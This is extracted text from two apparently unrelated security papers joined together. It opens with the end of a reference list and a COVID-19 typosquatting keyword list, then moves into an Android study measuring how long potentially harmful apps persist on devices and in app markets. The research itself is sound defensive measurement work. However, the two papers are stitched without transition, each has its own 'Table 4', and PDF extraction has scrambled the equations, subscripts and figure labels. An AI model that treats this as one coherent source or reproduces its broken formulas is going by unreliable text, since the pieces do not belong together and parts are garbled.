A Scalable Framework for Measuring the Effective-

ness of Evasion Techniques against Browser Phishing

Blacklists”. In: 2019 IEEE Symposium on Security

and Privacy. 2019, pp. 1344–1361. DOI: 10.1109/SP.

2019.00049.

[62] Marc Kührer, Christian Rossow, and Thorsten Holz.

“Paint It Black: Evaluating the Effectiveness of Mal-

ware Blacklists”. In: 17th International Symposium on

Research in Attacks, Intrusions and Defenses. RAID

’14. 2014, pp. 1–21. DOI: 10.1007/978-3-319-

11379-1_1.

[63] Thomas Vissers, Peter Janssen, Wouter Joosen, and

Lieven Desmet. “Assessing the Effectiveness of Do-

main Blacklisting Against Malicious DNS Registra-

tions”. In: 2019 IEEE Security and Privacy Workshops.

2019, pp. 199–204. DOI: 10.1109/SPW.2019.00045.

1164    31st USENIX Security Symposium USENIX Association



[64] Adam Oest, Penghui Zhang, Brad Wardman, Eric

Nunes, Jakub Burgis, Ali Zand, Kurt Thomas, Adam

Doupé, and Gail-Joon Ahn. “Sunrise to Sunset:

Analyzing the End-to-end Life Cycle and Effec-

tiveness of Phishing Attacks at Scale”. In: 29th

USENIX Security Symposium. USENIX Security ’20.

2020. URL: https://www.usenix.org/conference/

usenixsecurity20/presentation/oest-sunrise.

[65] Michel J. G. van Eeten and Johannes M. Bauer. “Eco-

nomics of Malware: Security Decisions, Incentives

and Externalities”. In: OECD Science, Technology and

Industry Working Papers 2008/01 (May 2008). DOI:

10.1787/241440230621.

[66] Yochai Benkler. “Peer Production and Cooperation”.

In: Handbook on the Economics of the Internet. Ed. by

J. M. Bauer and M. Latzer. Edward Elgar, 2013.

[67] Sameera Horawalavithana, Ravindu De Silva, Mo-

hamed Nabeel, Charitha Elvitigala, Primal Wijesekara,

and Adriana Iamnitchi. Malicious and Low Credibil-

ity URLs on Twitter during COVID-19. 2021. arXiv:

2102.12223 [cs.SI].

[68] Pengcheng Xia, Mohamed Nabeel, Issa Khalil, Haoyu

Wang, and Ting Yu. “Identifying and Characterizing

COVID-19 Themed Malicious Domain Campaigns”.

In: 11th ACM Conference on Data and Application

Security and Privacy. CODASPY ’21. 2021, pp. 209–

220. DOI: 10.1145/3422337.3447840.

[69] Anjali Vyas, Ram Sundara Raman, Nick Ceccio,

Philipp Lutscher, and Roya Ensafi. “Lost in Transmis-

sion: Investigating Filtering of COVID-19 Websites”.

In: Financial Cryptography and Data Security. FC

’21. 2021.

[70] Marzieh Bitaab, Haehyun Cho, Adam Oest, Penghui

Zhang, Zhibo Sun, Rana Pourmohamad, Doowon Kim,

Tiffany Bao, Ruoyu Wang, Yan Shoshitaishvili, Adam

Doupé, and Gail-Joon Ahn. “Scam Pandemic: How

Attackers Exploit Public Fear through Phishing”. In:

2020 APWG Symposium on Electronic Crime Research

(eCrime). eCrime 2020. 2020.

[71] Yi-Min Wang, Doug Beck, Jeffrey Wang, Chad Ver-

bowski, and Brad Daniels. “Strider Typo-Patrol: Dis-

covery and Analysis of Systematic Typo-Squatting”.

In: 2nd Workshop on Steps to Reducing Unwanted

Traffic on the Internet. 2006, pp. 31–36.

[72] Tobias Holgers, David E. Watson, and Steven D. Grib-

ble. “Cutting Through the Confusion: A Measurement

Study of Homograph Attacks”. In: USENIX Annual

Technical Conference. 2006, pp. 261–266.

A COVID-19 KEYWORD LIST

We selected COVID-19-related keywords starting from a set

of English keywords, which we then translated into 14 ma-

jor languages: Arabic, Bengali, Mandarin Chinese, Dutch,

French, German, Hindi, Italian, Japanese, Malay, Portuguese,

Russian, Spanish and Turkish. Finally, we generated lookalike

terms using techniques from typosquatting [71] and homo-

glyphs [72].

self-isolation eovid covic1 cocvid
corona co-vid covld st1mulus
pandemic fovid pandemid pandernic
mask eovib timulus pandemiic
ncov vovid pondemic pawndemic
vaccine pademic pandemec panndemic
virus covix cov8d pandemmic
hydroxychloroquine landemic vccine panderic
quinacrine covoid cov1d vacvine
chloroquine ocvid tsimulus chloraquine
remdesivir pandmic stimlus cokvid
plaquenil xovid vaccione eovicl
azithromycin stimulis covjd coviud
metformin cuvid copvid vadcine
favipiravir stimulas vaccien pandemci
interferon stimuls vaccne pandem1c
lopinavir covdi cpovid stiumulus
ritonavir stemulus covbid stimullus
arbitol stimulu pandimic stimul8s
stimulus clovid vacclne stumulus
infection cov-id pundemic covid1
n95 stimulos stimul-us cov9d
respirator coivd c-ovid covuid
testkit cpvid pandeic covjid
distance covicl pandemif cov8id
quarantine c0vid vaecinc cobvid
lockdown baccine vaccone cov9id
covis vaccirc chloroquini cofvid
covic clvid caccine coivid
cvid ciovid stimulous eovld
coved covvid cloroquine c0vld
covir vaccime stimilus covcid
dovid covkid pansemic pandermic
cevid coviid vaxcine cov1b
covib coovid colvid covid
cavid chloroquin panemic sars-cov
covd pandemoc pandernie sarscov
coviel mandemic stimulys ivomec
cobid covud stikulus ivermectin
civid covi-d covibl mectizan
covici stimulux pandemc iver-dt
cvoid vacccine cogvid ivexterm
accine pandemix pandepic scabo-6
vacine covilb stimuus sklice
andemic stimuluz voccine stromectol
covod pamdemic stipulus soolantra
pandemi vaccie pandomic mk-933
ffp2 ffp3 c19

Table 4: List of English keywords and homoglyphs
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Abstract

We study the temporal dynamics of potentially harmful apps
(PHAs) on Android by leveraging 8.8M daily on-device de-
tections collected among 11.7M customers of a popular mo-
bile security product between 2019 and 2020. We show that
the current security model of Android, which limits secu-
rity products to run as regular apps and prevents them from
automatically removing malicious apps opens a significant
window of opportunity for attackers. Such apps warn users
about the newly discovered threats, but users do not promptly
act on this information, allowing PHAs to persist on their
device for an average of 24 days after they are detected. We
also find that while app markets remove PHAs after these
become known, there is a significant delay between when
PHAs are identified and when they are removed: PHAs per-
sist on Google Play for 77 days on average and 34 days on
third party marketplaces. Finally, we find evidence of PHAs
migrating to other marketplaces after being removed on the
original one. This paper provides an unprecedented view of
the Android PHA landscape, showing that current defenses
against PHAs on Android are not as effective as commonly
thought, and identifying multiple research directions that the
security community should pursue, from orchestrating more
effective PHA takedowns to devising better alerts for mobile
security products.

1 Introduction

Millions of malicious Android apps have been observed over
the years [1], performing a variety of malicious activity from
sending premium SMS messages [23], to displaying annoy-
ing advertisements [31], to enabling stalking [5]. Malicious
apps on Android often come in the form of repackaged
apps, where a useful Android app is modified to contain hid-
den malicious functionality to entice users into installing
it [20, 31, 39]. To cover the variety of malicious apps that tar-

get Android, Google has coined the term Potentially Harmful
Apps (PHAs).1

A large body of research has been published measuring
the threat of PHAs on Android. Previous studies have mostly
relied on crawling app markets to retrieve malicious appli-
cations [1, 23, 31, 34, 40]. Alternative approaches include
downloading firmware from public repositories to study pre-
installed Android apps [11] and setting up public analysis
infrastructures relying on third parties to submit apps that
they suspect are malicious [21]. These approaches then ana-
lyze the collected apps by either performing static or dynamic
analysis. While useful to shed light on the functionalities of
malicious Android apps, these approaches do not have visi-
bility on the population of infected devices and on how users
interact with PHAs. An alternative approach relied on users
installing an app able to monitor network traffic on devices,
looking for security and privacy sensitive information [26].
This solution solves the aforementioned problem, but it is
challenging to recruit a large and representative population of
users; in fact, previous studies relied on 11k users to perform
their measurements [26]. A third approach that researchers
followed is monitoring the network traffic of a mobile ISP
and identifying malicious connections based on blacklist in-
formation [18]. This approach provides a real-time view of
malicious activity from a large number of devices but is lim-
ited to monitoring connections to known malicious hosts.
Additionally, this method is limited by the pervasive use of
encryption, and does for example allow to observe when a de-
vice connects to an app store, but not to inspect what specific
PHA a user is installing.

In this paper, we present the first large-scale study to under-
stand the temporal dynamics of PHA installations on Android.
We collect anonymized information about PHA installations
from users who installed a popular mobile security product
and opted into data collection. Between 2019 and 2020 we ob-
served over 8.8M PHAs installed on over 11.7M devices from

1https://developers.google.com/android/play-protect/
potentially-harmful-applications
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Dataset Data Count

Mobile PHA detection log Total records 3.2B
(01/2019 - 02/2020) Days 416

Countries and regions 201
Devices 11.7M
Distinct app names 2.3M
Distinct app SHA2s 8.8M

VT Total reports 8.8M
PHA SHA2s (detections ≥ 4) 7M
Singleton SHA2s (w/o family) 1.3 M
PHA SHA2s w/ family 5.7 M
PHA families 3.2K

Table 1: Summary of datasets.

across the globe. This data allows us to develop a number of
metrics and answer the following key research questions:
How long do devices stay infected with PHAs? Mobile se-
curity products on Android run as regular users without root
privileges and are therefore limited in the actions they can
take after they detect a malicious program. Typically, they just
raise an alert informing the user about it, and relying on them
uninstalling the malicious app. Our study shows that users
do not act promptly on these alerts, and that PHAs persist on
devices for approximately 20 days once detected.
How long do PHAs survive on app markets? By observing
millions of mobile devices installing malicious apps from
app stores, we can estimate when a certain PHA is removed
from the store. We find that, on average, PHAs persist on
Google Play for 77 days, while they persist on alternative
marketplaces for 34 days on average.
Do PHAs migrate to other app markets once removed?
We observe 3,553 PHAs that exhibit inter-market migration.
However, those PHAs have on average shorter lifespans in
these markets compared to the average persistence time.
Do PHAs persist on devices for longer if migrating from
backup/clone services? Android devices allow users to
backup their apps and automatically install them on a new
device when the user gets a new phone. We discover that these
PHAs on average persist on these devices for longer periods.
For example, we find 14K PHAs that migrated to 35.5K new
Samsung devices by using the Samsung smart switch mobile
app (com.sec.android.easyMover). These apps persist in
the new devices for 93 days on average.
Implications for Android malware research. Our study has
a number of implications for the computer security research
community. We show that malicious apps can survive for
long periods of time on app markets, and that the Android
security model severely limits what mobile security products
can do when detecting a malicious app, allowing PHAs to
persist for many days on victim devices. Furthermore, our
results show that the current warning system employed by
mobile security programs is not effective in convincing users
to promptly uninstall PHAs. This could be due to usability
issues such as alert fatigue [28], and calls for more research
in this space. We also show that malicious app developers
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Figure 1: Data Collection Architecture.

often move their PHAs to alternative marketplaces after they
have been removed. This suggests that an effective mitiga-
tion strategy should include cooperation between multiple
marketplaces.

2 Datasets
This section summarizes our data collection approach (see
Figure 1) and the datasets used in this study (see Table 1).

Mobile PHA reputation data ¶. In this paper, we use mo-
bile PHA reputation data collected from real-world Android
devices by NortonLifeLock’s mobile security product, which
covers over 200 countries and regions in the world. Similar
to the device geolocation distribution discussed in Kotzias et
al. [16], 25% of the devices used in our study were from
the United States, 28% of the devices were from European
countries, and 31% of the devices were from the APJ area
(although this distribution was skewed towards Japan and
India).

NortonLifeLock has an elastic infrastructure to collect and
carry out systematic static (e.g., flow and context-sensitive
taint analysis, fine-grained permission analysis) and dynamic
analysis (e.g., apk fuzzing, UI-automation, examining net-
work traces, behaviors, etc. in a sandbox environment) of mo-
bile apps from multiple markets and partners at scale. During
the process, nefarious activities and their triggering condi-
tions (such as reflection, dynamic code loading, native code
execution, requesting permissions not related to its advertised
description, etc.) are analyzed and fingerprinted. NortonLife-
Lock employs state-of-the-art commercial products to deal
with challenges such as emulator/motion evasion, obfuscated
code/libraries, and other evasive techniques, as well as to trig-
ger the critical execution paths in apps. The results are then
included in NortonLifeLock’s detection engine and deployed
in its mobile security product to scan and identify suspicious
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apps on the mobile endpoints. NortonLifeLock also builds
machine learning models from the static and dynamic analysis
results of known PHAs and applies these models to inspect
unknown or low-prevalence apps. Also, apps are periodically
re-inspected by the analysis infrastructure.

At runtime, the mobile security product periodically scans
newly installed apps on a device and can perform a full device
scan when requested by the end-user. When having network
access, the security engine queries a cloud backend to obtain
the verdicts of the apps installed on a device. The query con-
tains certain metadata including timestamp, app hash, pack-
age name, certificate information, etc. The response from the
backend includes the reputation scores of the on-device apps
together with other proprietary data to guide further actions.
When network access is not available, the security engine
leverages the locally stored signatures to scan and identify
suspicious apps on the mobile endpoints. The corresponding
scan metadata will then be sent back once network access is
restored.

From the backend telemetry data lake, we extract the fol-
lowing information: anonymized device identifier, device
country code, detection timestamp, app SHA2, app package
name, and installer package name. This way, we are able to
tell the time at which a PHA is detected, on which device it
is installed, and which package installed it. We collected 416
days of detection data between January 1, 2019 and February
20, 2020. On average, we collect 8M raw events daily (i.e.,
3.2B events in total). Note that to carry out the temporal mea-
surement, we only select apps (per SHA2) that we observe
at least twice on the same device. This way, we can reliably
calculate their lifespan both on-device and in-market (see Sec-
tion 3.2). In total, our dataset covers 2.3M unique package
names with 8.8M unique SHA2s from 11.7M devices. We
provide a detailed discussion of bias potentially incurred by
our dataset in Section 9.

VirusTotal ·. Note that different security companies have
different policies when flagging PHAs (especially adware).
That is, a PHA flagged by NortonLifeLock that collaborated
on this study may not have the consensus from other security
companies. To minimize false positives and bias potentially
incurred by our dataset, we query the 8.8M SHA2s corre-
sponding to the PHAs in our dataset on VirusTotal. We con-
sider an app as a PHA if VirusTotal returns a minimum of
four detections in this paper. This is in line with the best
practices recently proposed in the malware research commu-
nity [16, 41]. We refer the audience to Kotzias et al. [16] and
Zhu et al. [41] for in-depth analysis of the impact of different
detection threshold values of VirusTotal reports. In total, we
identify 7M unique malicious SHA2s, and 3.5K PHA fami-
lies.

AVclass ¸. In our study, reliable PHA labeling is a necessary
condition to guarantee the quality of malware family attri-
bution. To this end, we use AVclass [29] to extract family

information from AV labels. This tool selects the top ranked
family corresponding to a majority vote from the VirusTotal
report of a given PHA, effectively removing noise in the labels.
In total, the observed PHAs belong to 3.2K families. Not all
PHAs are equally harmful. While some apps are clearly mali-
cious (i.e., mobile malware including ransomware, Trojans,
spyware, etc), others are merely an annoyance to users (e.g.,
adware). Google groups these apps into Mobile unwanted
software (MUwS) as “apps that are not strictly malware, but
are harmful to the software ecosystem” [12]. To investigate
differences in how malware and MUwS behave, we use the
feature provided by AVclass to classify a sample as Mobile
unwanted software (MUwS) or mobile malware (see Sec-
tion 5). Note that EUPHONY [13] also mines AV labels and
analyzes the associations between all labels given by different
vendors to unify common samples into family groups. Due to
their comparable labeling accuracy in terms of family attribu-
tion and the lower memory required by AVclass, we opt for
AVclass in this paper.

Data distillation and measurement data selection. To
study the provenance of PHAs, and in particular, which mar-
ketplaces they are installed from, we need to collect infor-
mation on the installer package names of the detected PHAs.
The mobile security product uses the Android API to record
a PHA’s installer package name when a detection event is
triggered. However, due to the well known fragmentation
from Android device manufacturers and limitations of our
measurement infrastructure (e.g., we cannot identify an in-
staller package’s certificate via Android API), it is hard to
accurately extract and attribute the installer packages of all
detected PHAs. For instance, if an app was already installed
on a device before the observation period started, our ap-
proach would not be able to attribute it to the app that in-
stalled it. Similarly, if an updated version of an existing
PHA was installed, this would be identified as being in-
stalled by an update component and not by a marketplace
(e.g., com.google.android.packageinstaller). To miti-
gate this issue, we first identify 3.7M out of 11.7M devices
that have at least one PHA installed. We then distill the afore-
mentioned datasets by selecting 2.46M devices in which we
can attribute their on-device PHAs to the respective installer
packages with high confidence. In total, we identify 197K
PHAs from 2.46M devices that we use in Section 6 and 7
to study the dynamics between PHA, devices, and markets.
These PHAs account for 22% of all installations recorded
by our dataset during the observation period. We provide
a detailed discussion on the limitations of this approach in
Section 9.

Ethics and Data Privacy. The data used in this paper is pri-
vacy sensitive. NortonLifeLock offers end users the possi-
bility to explicitly opt-in to its data sharing program to help
improve the security product’s detection capabilities. This
dialog is shown during the setup process when the app is run
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Notation Description

p ∈ P a PHA
d ∈ D a device
m ∈M a market
f ∈ F a PHA family

xiy
x on/in y,
e.g., pid denotes a PHA pi detected on device d.

(F)
first seen timestamp,
e.g., p(F)

id denotes first seen timestamp of a PHA pi on device d.

(L)
last seen timestamp,
e.g., p(L)im denotes last seen timestamp of a PHA pi in market m.

δxy
lifespan of x on/in y,
e.g., δpid

denotes the lifespan of pi on a device d

Table 2: Summary of the notations used in this paper. We use
lowercase letters to denote an item and bold uppercase letters
to denote sets.

for the first time, and it informs the end-user about the pur-
pose of the telemetry collection, and how the global privacy
policy of NortonLifeLock safeguards the data. For instance,
the license agreement specifies that the telemetry “is pro-
cessed for the purposes of delivering the product by alerting
you to potentially malicious applications, malware, and links”
and “for the purpose of understanding product usage to fur-
ther develop and improve the product performance as well as
telemetry.” Since the analysis performed in this paper allows
the community to get a better understanding of the Android
PHA ecosystem and guide mitigation techniques, this falls
under the primary use of the data that users agreed to. The
telemetry data collection, storage, and process are guarded
by NortonLifeLock’s rigorous privacy policies. To preserve
the anonymity of users and their devices, client identifiers are
anonymized and it is not possible to link the collected data
back to the users and the mobile devices that originated it.
Also, NortonLifeLock does not track the devices or profile
user behavior nor has the capability to inspect network data.
For our measurement study, the anonymized device identifier
is only used to compute device-based prevalence rates. As
such, we are not using any PII and the risks to the users are
minimal.

3 Approach
In this section, we first introduce the overall relationships
among PHAs, installer packages, devices, and markets. We
then describe our overall measurement design philosophy and
methods together with examples.

3.1 Relationships
For the reader’s convenience, we summarize the notations
introduced here and in the following sections in Table 2. We
provide a detailed description of the relations observed in our
dataset to form the foundation of our measurements in the
rest of the paper. Figure 2 shows an example to illustrate the
complex dynamic relations among PHAs P, installer packages
Ψ, devices D, and markets M, coupled with a timeline. Each

Device

PHAs

D

time

f

Market M

Pi Pj Pj

d1 d2

installation

Pj

m1 m2

d3

Installer Ψ ψm1 ψm1
ψm2

d4

Pj

ψm2

lifespan

Pj
(F)
d1 Pj

(F)
d2

ψm1

Figure 2: Abstract model of the relations between PHAs,
installers, devices, and markets as observed in our dataset.

device d can have multiple PHAs installed (e.g., d1 has two
PHAs pi and p j in Figure 2). A PHA p j can be present in
multiple devices (e.g., p j is installed in all four devices).
Additionally, multiple PHAs can belong to a PHA family. For
example, as we can see in Figure 2, P f includes pi in d1 and
p j in all four devices. In addition, the Android API allows
the mobile security product to retrieve the package name (i.e.,
ψ) of the application that installed a PHA. This enables us
to identify which market a PHA came from if the package
name of ψ matches the name of the market. For example, p j
on device d1 is installed by a package ψm1 from market m1

at timestamp p(F)

jd1
(see Figure 2). Aggregating all installation

events of the same PHA pi in all devices D, we can estimate
the lifespan δpim in market m as [p(F)

jd1
, p(F)

jd2
] (see Figure 2).

3.2 Design Philosophy
Measuring the in-market presence of PHAs (e.g., how fast
PHAs are removed) is a challenging task as we are not the app
market owners. One solution is to crawl known app markets
and track all apps on a daily basis [35]. However, crawling
results cannot be correlated with the device installation data
since not all markets offer precise device installation informa-
tion. In this study, we adopt an outside-in design philosophy to
perform our market presence measurements. That is, we treat
mobile devices as sensors and their PHA installation events
as the probing results of a PHA’s existence. We then use
the information on the installer packages of apps to identify
the origin markets of installed PHAs (see the above section
for relations). By correlating this information with on-device
detection timestamps we can calculate PHA in-market per-
sistence and prevalence in a non-intrusive, outside-in way.
Similarly, we can also calculate PHA on-device persistence
using the detection timestamps. In this study we use different
metrics to study the PHA ecosystem along three axes: on-
device persistence, in-market persistence, and PHA migration
across markets. In this section, we define the metrics that we
will later use to measure these three aspects.
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3.2.1 Measurement of PHA On-device Persistence
The mobile security product runs periodically in the back-
ground and sends telemetry data to the backend if PHAs are
detected. If a PHA was not removed from the device after
the user was displayed an alert, the mobile security product
records this recurrent detection at different timestamps until
the PHA is removed from the device. Given this series of
detection events, we are able to tell the first seen and last
seen timestamps of a PHA pi on a device d, consequently
enabling us to estimate the lifespan of pi on a device d (i.e.,
δpid

). Following this observation, we use Eq 1 to measure the
persistence period a PHA family f on a device d.

persistence( f ,d) = ∑
pi∈P f

(δpid
)/|P f | (1)

That is, we calculate the mean lifespan of all PHAs belong-
ing to a family f on device d. For example, in Figure 2,
family f has two PHAs (pi and p j) on device d1, hence
persistence( f ,d1) = (δp

id1
+ δp

jd1
)/2. We then use Eq 2 to

measure the mean persistence period per PHA family f on all
devices D.

persistence( f ,D) = ∑
d∈D

persistence( f ,d)/|D| (2)

For example, family f has presence in all four devices in Fig-
ure 2. Following Eq 2, we can calculate persistence( f ,D) as
[persistence( f ,d1) + persistence( f ,d2) + persistence( f ,d3)
+ persistence( f ,d4)]/4.

3.2.2 Measurement of PHA In-market Persistence
Given a single device d, when the mobile security product de-
tects a PHA on the mobile device, it also records the installer
package name of this PHA. Correlating this with the official
package names of the markets, we can identify if a PHA was
installed from a certain market m at a certain timestamp. For
example, if we observe the installer package name of a PHA
is com.android.vending, we can tell that this PHA comes
from the Google Play store. Note that malicious apps can
impersonate the legitimate apps on Android devices (e.g.,
com.android.vending may not be the legitimate Google
Play app). To avoid false attributions, we check the detection
telemetry data of the same device and verify if any detection
records match the same package names of the known mar-
ketplaces. By doing so, we are able to verify the legitimacy
of the market apps in this measurement study. We provide
a detailed discussion of the limitations of this approach in
Section 9. Note that first seen timestamp of a PHA on device
d can reliably prove that a PHA exists in a market at the time
of installation. By aggregating the first detection events of
a PHA pi across all devices D, we can represent a PHA’s
in-market appearances using Eq 3.

Ωpim = {p(F)

id j
},∀d j ∈ D, p

id j ∈ Pim (3)

Essentially, Ωpim represents a series of timestamps where pi
was first seen on all devices D. Take the relations in Figure 2
as an example, we have two detections of a PHA p j respec-
tively on d1 and d2 installed from market m1. In turn, we have
Ωp jm1 = {p(F)

jd1
, p(F)

jd2
}. Following the above observation, we

use Eq 4 to measure the persistence period of a PHA pi in a
market m.

persistence(pi,m) = max(Ωpim )−min(Ωpim ) (4)

It is straightforward to observe persistence(p j,m1) = p(F)

jd2
−

p(F)

jd1
following Eq 3 and Eq 4. Note that we rely the on-device

detection to measure a PHA’s in-market persistence. It is
possible that a PHA still exists in a market but our dataset did
not reflect its existence. Consequently, we measure the lower
bound of the PHA in-market persistence. Finally, we use Eq 5
to measure the persistence period a PHA family f in a market
m.

persistence( f ,m) = ∑
pi∈P f

persistence(pi,m)/|P f | (5)

3.2.3 Measurement of PHA Inter-market Migration
Recall that the mobile security product records that a PHA
p was installed on a device d at a timestamp t by an in-
staller package ψ. By aggregating the telemetry data about
a specific PHA p and mapping its installer package names
to marketplaces across all devices D, we can track the ap-
pearance of a PHA pi across all marketplaces M. Take
PHA p j in Figure 2 for example, it was detected in four
devices (d1, d2, d3, and d4) from two marketplaces (m1 and
m2). Following Eq 3, the lifespan of p j in m1 and m2 are
respectively δp j

m1 = [min(Ωp jm1 ),max(Ωp jm1 )] and δp j
m2 =

[min(Ωp jm2 ),max(Ωp jm2 )]. As we observe in Figure 2 that
max(Ωp jm1 ) is less than min(Ωp jm2 ), we define that a PHA
p j exhibits inter-market migration from m1 to m2. Following
the observation, we use Eq 6 to represent the appearances of
a PHA pi across the marketplaces M.

appearance(pi,M) = {δpim},∀m ∈M (6)

Note that each δpim is an interval (i.e.,
[min(Ωpim ),max(Ωpim )]). In turn, we sort appearance(pi,M)
by min(δpim), then identify sequentially non-overlapping
intervals from appearance(pi,M) to measure PHA
inter-market migration across the marketplaces M.

3.3 Right Censored Data
Censoring occurs when incomplete information is available
about the survival time of some individuals. Recall that our ob-
servation period is between January 1, 2019 and February 20,
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Rank Family Total SHA2s Active SHA2s/Month
(01/19 - 02/20)

# month
≥ avg

1 jiagu (U) 671K 7
2 smsreg (M) 438K 2
3 hiddad (U) 308K 6
4 airpush (U) 164K 6
5 revmob (U) 132K 6
6 dnotua (U) 105K 6
7 dowgin (U) 87K 6
8 leadbolt (U) 75K 7
9 mobidash (U) 74K 5

10 kuguo (U) 72K 6
11 locker (M) 60K 6
12 ewind (M) 57K 7
13 secapk (U) 51K 7
14 inmobi (U) 44K 5
15 tencentprotect 44K 5
16 koler (M) 42K 7
17 domob (U) 40K 8
18 secneo (U) 29K 7
19 autoins (M) 25K 6
20 datacollector (M) 15K 7

Table 3: Summary of the temporal patterns of the top 20 PHA
families. These families are ordered by the total number of
SHA2s. M denotes Malware and U denotes MUwS/Adware.

2020. There exist a number of PHAs that we cannot observe
if they have been removed from the markets after our study
ends on February 20, 2020. Such PHA data is defined as right
censored in survival analysis [14]. In our study, we assume
that censoring is independent or unrelated to the likelihood
of developing the event of interest (i.e., PHA removal). We,
therefore, keep these right censored data to avoid estimation
bias. More details can be found in Section 6.

4 Temporal Characteristics of PHA Families
Miscreants either repackage multiple apps with the same ma-
licious code or modify their code to avoid being detected by
security measures [23, 39]. These related malicious apps are
commonly referred to as families. In this section, we study
the temporal patterns of PHA families (e.g., do we see the
same top families all the time or do they gradually reduce
their operation due to increased detection efforts from mo-
bile security companies?). As discussed in Section 2, we use
AVclass [29] to group apps into families. Table 3 shows the
temporal prevalence of the top 20 PHA families and summa-
rizes our findings. These top 20 PHA families are detected
in 2.01 million devices, approximately 67% of the aforemen-
tioned 3.7M devices. Recall that we select PHAs (per SHA2)
that we observe at least twice on the same device to carry
out the measurements (see Section 2), hence our dataset is
purposely designed to measure the temporal behavior. Our re-
sults are consistent with the most recent Android PHA device
prevalence study [16]: 15 of the 20 PHA families in Table 3
were also among the top 20 PHA families found by [16]. As
we can see in Table 3, 16 out of the 20 top PHA families
manage to exceed their average number of monthly active
SHA2s for at least 6 months. Also, we see that majority of

Overall Malware MUwS

# Devices Avg.
Persistence # Devices Avg.

Persistence # Devices Avg.
Persistence

3.7M 20.2 D 2.93M 20.3 D 1.97M 13.1 D

Table 4: Overall PHA on-device persistence.

the PHA families exhibit bell shaped temporal patterns. This
shows that these PHA families may eventually reduce their
operation due to increased detection efforts from mobile se-
curity companies and marketplaces. We will further analyze
this finding in Section 6 (e.g., how rapid takedown can dis-
rupt PHA operations) and, consequently, how miscreants may
move their PHAs to alternative markets in Section 7. Besides,
we notice that smsreg and smspay show an upward pattern
towards the end of our observation period (i.e., January and
February 2020). In light of the recent discussion of the limita-
tion of SMS-based 2FA authentication2, our findings indicate
that the possibility of such breaches still exists in the wild and
has attracted the attention of cybercriminals.

5 PHA On-Device Persistence
As we explained, mobile security products are limited by the
Android security model, and they lack the ability to delete
PHAs once they detect them. Instead, they typically inform
the user about the newly discovered threat, asking them to
manually remove the app. This leaves the question of how
promptly users remove identified PHAs from their devices.
In this section, we first study the PHA on-device persistence
to understand how long PHAs can persist on devices once
installed. We then study the consequences of PHA on-device
persistence and, for example, whether this leads to additional
PHA installations on devices.

5.1 On-Device Persistence of Different PHA
Types

As discussed, not all Android PHAs are equally harmful, but
some are merely annoying to users (MUwS). It is therefore
possible that users will react differently when the security
product informs them that they have installed malware com-
pared to mobile unwanted software (MUwS), possibly not
uninstalling the latter. To better understand this, we use AV-
Class [29] to distinguish mobile malware from MUwS among
PHAs. We then follow the approach outlined in Section 3.2
and measure the overall PHA on-device persistence. Our find-
ings are summarized in Table 4. We find that PHAs persist on
devices for approximately 20 days once installed. On average,
mobile malware can persist longer than MUwS (respectively
20.3 days and 13.1 days). It is surprising that end users do
not promptly remove PHAs once detected. The prolonged
persistence of PHAs on devices leaves a window of oppor-

2https://krebsonsecurity.com/2018/08/reddit-breach-highlights-limits-of-
sms-based-authentication/
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Family Avg.
Persistence

Max
Persistence

# Devices
(≤ Avg.)

# Devices
(> Avg.)

jiagu 4.77 D 414.0 D 1132K 303K
smsreg 2.37 D 413.63 D 471K 34K
hiddad 5.54 D 415.08 D 611K 85K
airpush 20.9 D 413.5 D 183K 35K
revmob 3.54 D 413.82 D 354K 13K
dnotua 2.93 D 414.36 D 261K 12K
dowgin 7.24 H 412.11 D 239K 1K
leadbolt 5.74 D 413.45 D 243K 12K

mobidash 1.8 D 415.09 D 294K 10K
kuguo 6.18 H 408.89 D 155K 1K
locker 4.13 H 413.13 D 195K 322
ewind 8.72 D 414.11 D 118K 22K
secapk 12.98 H 412.03 D 215K 1K
inmobi 10.66 D 413.77 D 213K 23K

tencentprotect 5.27 D 413.58 D 173K 23K
koler 0.49 H 360.01 D 160K 1K

domob 1.87 D 409.91 D 174K 2K
secneo 3.32 D 413.15 D 157K 11K
autoins 22.45 D 414.0 D 174K 43K

datacollector 15.47 D 413.59 D 176K 54K

Table 5: Summary of the top 20 PHA family on-device per-
sistence. D denotes days and H denotes hours.

tunity during which attackers can cause harm to the victims
and their devices (e.g., displaying intrusive full screen ads,
collect private information, install additional malicious apps
without user consent).

5.2 PHA Family On-Device Persistence
We then follow the approach outlined in Section 3.2 to un-
derstand the on-device persistence of the top 20 largest PHA
families ranked by their device prevalence ratios. Our findings
are summarized in Table 5. It is interesting to observe that
15 out of the 20 top PHA families can persist on devices for
several days, and only five PHA families are removed by end
users in less than two days. For example, ewind, a Trojan
family, persisted on 118K devices for up to 8.72 days on aver-
age and on 22K devices for even longer. This is interesting
because it indicates that users choose not to uninstall the mali-
cious app after they are warned by the mobile security product.
In light of this, It is interesting to observe that end users re-
moved locker/koler rapidly after detection. We can only
speculate that the reason behind this might be the degradation
in user experience (i.e., screen lockdown by locker, fake
FBI warnings by koler). We hope that our findings would
enable mobile security companies to devise effective notifi-
cation systems to nudge the end users to remove PHAs upon
detection, taking for example into account alert fatigue [28].

5.3 PHA Multiple-Instance Persistence
The fact that end users do not remove the detected PHAs
promptly creates a window of opportunity (as shown in Ta-
ble 4) that enables attackers to update the installed PHAs,
install additional malicious apps without user consent, or en-
tice them to install apps via full screen ads. We call this phe-
nomenon multiple instance persistence. Figure 3 shows the

Figure 3: CCDF of the number of SHA2s on devices in our
dataset (log scale).

Family # Devices # Multi-inst.
Persistence Devices Ratio

jiagu 1.33M 849K 0.64
smsreg 499K 237K 0.48
hiddad 670K 208K 0.31
airpush 214K 43K 0.2
revmob 367K 186K 0.51
dnotua 272K 82K 0.3
dowgin 241K 80K 0.33
leadbolt 255K 85K 0.33

mobidash 304K 112K 0.37
kuguo 155K 34K 0.22
locker 196K 53K 0.27
ewind 139K 17K 0.13
secapk 216K 75K 0.35
inmobi 235K 62K 0.27

tencentprotect 194K 42K 0.22
koler 161K 45K 0.28

domob 176K 45K 0.26
secneo 167K 34K 0.21
autoins 209K 33K 0.16

datacollector 211K 45K 0.21

Table 6: Summary of multiple-instance persistence per PHA
family.

complementary cumulative distribution function (CCDF) of
the number of unique PHAs installed on devices in our dataset.
A large fraction of the devices that installed PHAs installs
more than one during the observation period. For instance,
810K mobile devices (21.6% of 3.7M devices that have at
least one PHA) installed more than 7 PHAs. In this section, we
investigate to what extent the presence of a PHA on a device
facilitates the installation of additional malicious components.
Our findings are shown in Table 6. 18 out of the top 20 PHA
families exhibit multiple-instance persistence on at least 20%
of the mobile devices they infected. For example, 237K out
of 499K mobile devices that installed PHAs from smsreg
family have at least two other PHAs from the same family
